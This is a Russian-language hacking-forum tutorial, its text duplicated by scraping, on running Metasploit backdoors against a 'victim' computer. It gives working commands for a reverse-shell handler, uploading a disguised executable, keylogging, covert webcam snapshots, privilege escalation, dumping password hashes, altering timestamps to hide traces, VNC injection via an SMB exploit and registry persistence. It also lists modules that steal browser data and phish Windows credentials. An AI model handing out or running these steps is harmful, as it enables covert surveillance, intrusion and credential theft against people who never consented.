HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
Ссылка на 1 часть:
Работа с бэкдорами в Metasploit
На «атакующей» машине запускаем Metasploit:
Далее
Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.
Нужно установить настройки – IP и порт локальной машины:
Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.
Когда настройки сделаны, запустите выполнение модуля:
Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:
Основы работы в Meterpreter (Meta-Interpreter)
Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:
Основные команды:
Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.
Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:
Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:
Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:
Сетевые команды:
Системные команды:
Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.
Команды пользовательского интерфейса:
Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.
Для начала захвата нажатия клавиш введите:
Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:
Команды для управления веб-камерой:
На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните
В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):
Будет сделана и показана фотография с веб-камеры удалённого компьютера.
Команды повышения привилегий:
Команда для работы с базой данных паролей:
Команды для работы с Timestomp (временными метками файла):
Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.
Скрытый доступ к удалённому рабочему столу (VNC)
Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:
Далее запустите Metasploit (если вы это ещё не сделали):
Внутри Metasploit:
Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).
После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.
В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.
На машине атакующего должен быть установлен VNC клиент (просмотрщик).
Закрепление доступа
До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:
Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.
Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.
Опции модуля:
Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.
Ещё один пример:
Модуль вывел следующую информацию:
Т.е. на удалённой системе файл сохранён по пути C:/Users/Alex/AppData/Local/Temp/default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU/Software/Microsoft/Windows/CurrentVersion/Run/MHlFtyrXIllAQ.
Модули последующей эксплуатации Metasploit
post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.
Некоторые примеры:
Все эти модули можно применять во время сеанса Meterpreter.
Когда обратный шелл не нужен
Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.
Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).
Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.
Заключение
Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.
В целом это обзорная статья, цель которой – показать некоторые возможности
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
Работа с бэкдорами в Metasploit
На «атакующей» машине запускаем Metasploit:
Код:
msfconsole
Код:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
Нужно установить настройки – IP и порт локальной машины:
Код:
set LHOST 192.168.0.196
set LPORT 4444
Когда настройки сделаны, запустите выполнение модуля:
Код:
run
Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:
Основы работы в Meterpreter (Meta-Interpreter)
Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:
Код:
webcam_snap -h
Основные команды:
Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.
Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:
Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:
Код:
upload driver_dlya_tvoego_computera.exe
Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:
Код:
ls
download allen.zip
Сетевые команды:
Системные команды:
Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.
Команды пользовательского интерфейса:
Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.
Для начала захвата нажатия клавиш введите:
Код:
keyscan_start
Код:
keyscan_dump
Команды для управления веб-камерой:
На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните
Код:
webcam_list
Код:
webcam_snap SC-20FHL11146M
Команды повышения привилегий:
Код:
getsystem Пытается поднять ваши привилегии на данной локальной системе.
Код:
hashdump Дампит содержимое базы данных SAM
Код:
timestomp Манипуляция файловыми атрибутами MACE
Скрытый доступ к удалённому рабочему столу (VNC)
Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:
Код:
msfvenom -p windows/vncinject/reverse_tcp lhost=192.168.0.196 -f exe -o vnc.exe
Код:
msfconsole
Код:
use exploit/windows/smb/ms09_050_smb2_negotiate_func_index
set payload windows/vncinject/reverse_tcp
set lhost 192.168.0.196
set rhost 192.168.0.244
run
После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.
В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.
На машине атакующего должен быть установлен VNC клиент (просмотрщик).
Закрепление доступа
До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:
Код:
run persistence -h
Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.
Опции модуля:
Имя Текущее значение Требуется Описание
---- --------------- -------- -----------
REXENAME default.exe да Имя exe файла на удалённой системе
REXEPATH да Файл, который нужно загрузить на удалённую систему
SESSION да Сессия, на которой запустить этот модуль
STARTUP USER да Тип запуска постоянной нагрузки. (Варианты: USER, SYSTEM, SERVICE)
Пример запуска:---- --------------- -------- -----------
REXENAME default.exe да Имя exe файла на удалённой системе
REXEPATH да Файл, который нужно загрузить на удалённую систему
SESSION да Сессия, на которой запустить этот модуль
STARTUP USER да Тип запуска постоянной нагрузки. (Варианты: USER, SYSTEM, SERVICE)
Код:
run post/windows/manage/persistence_exe REXEPATH=/local/path/to/your/payload.exe REXENAME=default.exe STARTUP=SYSTEM
Ещё один пример:
Код:
run post/windows/manage/persistence_exe REXEPATH=/home/mial/backdoor2.exe
Модуль вывел следующую информацию:
Код:
[*] Running module against MIAL-PC
[*] Reading Payload from file /home/mial/backdoor2.exe
[+] Persistent Script written to C:/Users/Alex/AppData/Local/Temp/default.exe
[*] Executing script C:/Users/Alex/AppData/Local/Temp/default.exe
[+] Agent executed with PID 6572
[*] Installing into autorun as HKCU/Software/Microsoft/Windows/CurrentVersion/Run/MHlFtyrXIllAQ
[+] Installed into autorun as HKCU/Software/Microsoft/Windows/CurrentVersion/Run/MHlFtyrXIllAQ
[*] Cleanup Meterpreter RC File: /home/mial/.msf4/logs/persistence/MIAL-PC_20170519.0352/MIAL-PC_20170519.0352.rc
Модули последующей эксплуатации Metasploit
post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.
Некоторые примеры:
- post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
- post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
- post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
- post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows
Все эти модули можно применять во время сеанса Meterpreter.
Когда обратный шелл не нужен
Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.
Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP "web shell". IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).
Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.
Заключение
Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.
В целом это обзорная статья, цель которой – показать некоторые возможности
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.